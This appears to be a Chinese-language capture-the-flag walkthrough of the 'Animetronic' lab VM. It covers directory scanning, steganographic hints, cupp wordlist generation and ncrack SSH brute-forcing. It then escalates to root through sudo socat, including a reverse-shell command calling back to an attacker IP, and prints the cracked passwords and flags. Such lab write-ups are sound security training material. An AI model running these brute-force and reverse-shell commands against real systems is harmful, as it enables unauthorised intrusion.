Animetronic
备注
[Linux VM] [Tested on VirtualBox] created by || ziyos
⏲️ Release Date // 2023-12-11
✔️ MD5 // 30b3135e2016d3ae1b0d1c086a714ae9
☠ Root // 27
💀 User // 26
📝Notes // The server administrator assigned you to hack this server .So don't disappoint him.This server is easy , just do not give up.
靶机启动
靶机地址：192.168.56.119
web 服务探测
页面为静态页面，无交互点
目录扫描：
┌─[randark@parrot]─[~]
└──╼ $feroxbuster -u http://192.168.56.119 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.56.119
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.1
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 314c http://192.168.56.119/img => http://192.168.56.119/img/
200 GET 52l 340w 24172c http://192.168.56.119/img/favicon.ico
301 GET 9l 28w 314c http://192.168.56.119/css => http://192.168.56.119/css/
200 GET 2761l 15370w 1300870c http://192.168.56.119/img/logo.png
301 GET 9l 28w 313c http://192.168.56.119/js => http://192.168.56.119/js/
200 GET 7l 1513w 144878c http://192.168.56.119/css/bootstrap.min.css
200 GET 42l 81w 781c http://192.168.56.119/css/animetronic.css
200 GET 52l 202w 2384c http://192.168.56.119/
301 GET 9l 28w 321c http://192.168.56.119/staffpages => http://192.168.56.119/staffpages/
200 GET 728l 3824w 287818c http://192.168.56.119/staffpages/new_employees
得到一条路径：http://192.168.56.119/staffpages/new_employees，访问返回的是 JPEG 图像数据
将其下载到本地，进行隐写分析，在图片的评论中得到：
page for you michael : ya/HnXNzyZDGg8ed4oC+yZ9vybnigL7Jr8SxyZTJpcmQx53Xnwo=
解码，并进行上下翻转后，得到
leahcim_rof_egassem
根据信息，得到以下路径：/staffpages/message_for_michael
Hi Michael
Sorry for this complicated way of sending messages between us.
This is because I assigned a powerful hacker to try to hack
our server.
By the way, try changing your password because it is easy
to discover, as it is a mixture of your personal information
contained in this file
personal_info.txt
继续访问 /staffpages/personal_info.txt
name: Michael
age: 27
birth date: 19/10/1996
number of children: 3 "Ahmed - Yasser - Adam"
Hobbies: swimming
利用社工数据进行爆破
根据得到的信息，进行字典生成
┌─[randark@parrot]─[~]
└──╼ $cupp -i
___________
cupp.py! # Common
\ # User
\ ,__, # Passwords
\ (oo)____ # Profiler
(__) )\
||--|| * [Muris Kurgas | j0rgan@remote-exploit.org]
[Mebus | https://github.com/Mebus/]
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
> First Name: Michael
> Surname:
> Nickname:
> Birthdate (DDMMYYYY): 19101996
> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):
> Child's name: Ahmed
> Child's nickname:
> Child's birthdate (DDMMYYYY):
> Pet's name:
> Company name:
> Do you want to add some key words about the victim? Y/[N]: y
> Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: Ahmed,Yasser,Adam,swimming
> Do you want to add special chars at the end of words? Y/[N]: y
> Do you want to add some random numbers at the end of words? Y/[N]:y
> Leet mode? (i.e. leet = 1337) Y/[N]: y
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to michael.txt, counting 12460 words.
[+] Now load your pistolero with michael.txt and shoot! Good luck!
然后尝试爆破 Michael 的 SSH 凭据
┌─[✗]─[randark@parrot]─[~]
└──╼ $ncrack -T5 -v -u michael -P michael.txt ssh://192.168.56.119
Starting Ncrack 0.7 (http://ncrack.org) at 2024-02-01 19:27 CST
Discovered credentials on ssh://192.168.56.119:22 'michael' 'leahcim1996'
user pwned
┌─[randark@parrot]─[~]
└──╼ $pwncat-cs michael@192.168.56.119
[20:03:59] Welcome to pwncat 🐈! __main__.py:164
Password: ***********
[20:04:02] 192.168.56.119:22: registered new host w/ db manager.py:957
(local) pwncat$ back
(remote) michael@animetronic:/home/michael$ ls -lh
total 0
(remote) michael@animetronic:/home/michael$ la
.bash_history .bash_logout .bashrc .cache .profile
(remote) michael@animetronic:/home/michael$ ls -lah
total 28K
drwxr-x--- 3 michael michael 4.0K Nov 27 21:03 .
drwxr-xr-x 4 root root 4.0K Nov 27 18:10 ..
-rw------- 1 michael michael 5 Nov 27 21:03 .bash_history
-rw-r--r-- 1 michael michael 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 michael michael 3.7K Jan 6 2022 .bashrc
drwx------ 2 michael michael 4.0K Nov 27 18:50 .cache
-rw-r--r-- 1 michael michael 807 Jan 6 2022 .profile
(remote) michael@animetronic:/home/michael$ cd ../
(remote) michael@animetronic:/home$ ls -lah
total 16K
drwxr-xr-x 4 root root 4.0K Nov 27 18:10 .
drwxr-xr-x 19 root root 4.0K Nov 27 09:54 ..
drwxrwxr-x 6 henry henry 4.0K Nov 27 20:59 henry
drwxr-x--- 3 michael michael 4.0K Nov 27 21:03 michael
(remote) michael@animetronic:/home$ cd henry/
(remote) michael@animetronic:/home/henry$ ls -lah
total 56K
drwxrwxr-x 6 henry henry 4.0K Nov 27 20:59 .
drwxr-xr-x 4 root root 4.0K Nov 27 18:10 ..
-rwxrwxr-x 1 henry henry 30 Jan 5 10:08 .bash_history
-rwxrwxr-x 1 henry henry 220 Jan 6 2022 .bash_logout
-rwxrwxr-x 1 henry henry 3.7K Jan 6 2022 .bashrc
drwxrwxr-x 2 henry henry 4.0K Nov 27 10:08 .cache
drwxrwxr-x 3 henry henry 4.0K Nov 27 10:42 .local
drwxrwxr-x 402 henry henry 12K Nov 27 18:23 .new_folder
-rwxrwxr-x 1 henry henry 807 Jan 6 2022 .profile
drwxrwxr-x 2 henry henry 4.0K Nov 27 10:04 .ssh
-rwxrwxr-x 1 henry henry 0 Nov 27 18:26 .sudo_as_admin_successful
-rwxrwxr-x 1 henry henry 119 Nov 27 18:18 Note.txt
-rwxrwxr-x 1 henry henry 33 Nov 27 18:20 user.txt
(remote) michael@animetronic:/home/henry$ cat user.txt
0833990328464efff1de6cd93067cfb7
提权探测
/home/henry/Note.txt
if you need my account to do anything on the server,
you will find my password in file named
aGVucnlwYXNzd29yZC50eHQK
解码后的到：henrypassword.txt
(remote) michael@animetronic:/home/henry$ find / -type f -name henrypassword.txt 2>/dev/null
/home/henry/.new_folder/dir289/dir26/dir10/henrypassword.txt
读取文件内容
/home/henry/.new_folder/dir289/dir26/dir10/henrypassword.txt
IHateWilliam
成功切换到 henry 账户
(local) pwncat$ connect henry@192.168.56.119
Password: ************
[20:10:19] 192.168.56.119:22: loaded known host from db manager.py:957
(local) pwncat$ sessions
Active Sessions
╷ ╷ ╷ ╷ ╷
ID │ User │ Host ID │ Platform │ Type │ Address
════╪═══════╪══════════════════════════════════╪══════════╪══════╪═══════════════════
*1 │ henry │ fa000a0e16495f8dd261626f16b2971a │ linux │ Ssh │ 192.168.56.119:22
╵ ╵ ╵ ╵ ╵
(local) pwncat$ back
(remote) henry@animetronic:/home/henry$ ls -lah
total 56K
drwxrwxr-x 6 henry henry 4.0K Nov 27 20:59 .
drwxr-xr-x 4 root root 4.0K Nov 27 18:10 ..
-rwxrwxr-x 1 henry henry 30 Jan 5 10:08 .bash_history
-rwxrwxr-x 1 henry henry 220 Jan 6 2022 .bash_logout
-rwxrwxr-x 1 henry henry 3.7K Jan 6 2022 .bashrc
drwxrwxr-x 2 henry henry 4.0K Nov 27 10:08 .cache
drwxrwxr-x 3 henry henry 4.0K Nov 27 10:42 .local
drwxrwxr-x 402 henry henry 12K Nov 27 18:23 .new_folder
-rwxrwxr-x 1 henry henry 807 Jan 6 2022 .profile
drwxrwxr-x 2 henry henry 4.0K Nov 27 10:04 .ssh
-rwxrwxr-x 1 henry henry 0 Nov 27 18:26 .sudo_as_admin_successful
-rwxrwxr-x 1 henry henry 119 Nov 27 18:18 Note.txt
-rwxrwxr-x 1 henry henry 33 Nov 27 18:20 user.txt
尝试提权
sudo -l
Matching Defaults entries for henry on animetronic:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User henry may run the following commands on animetronic:
(root) NOPASSWD: /usr/bin/socat
尝试借助 sudo+socat 反弹 shell
sudo /usr/bin/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.56.102:9999
成功收到回连的shell
(local) pwncat$ connect -lp 9999
[20:14:04] received connection from 192.168.56.119:51080 bind.py:84
[20:14:05] 192.168.56.119:51080: registered new host w/ db manager.py:957
(local) pwncat$ back
(remote) root@animetronic:/home/henry# whoami
root
root pwned
(remote) root@animetronic:/root# cat root.txt
153a1b940365f46ebed28d74f142530f280a2c0a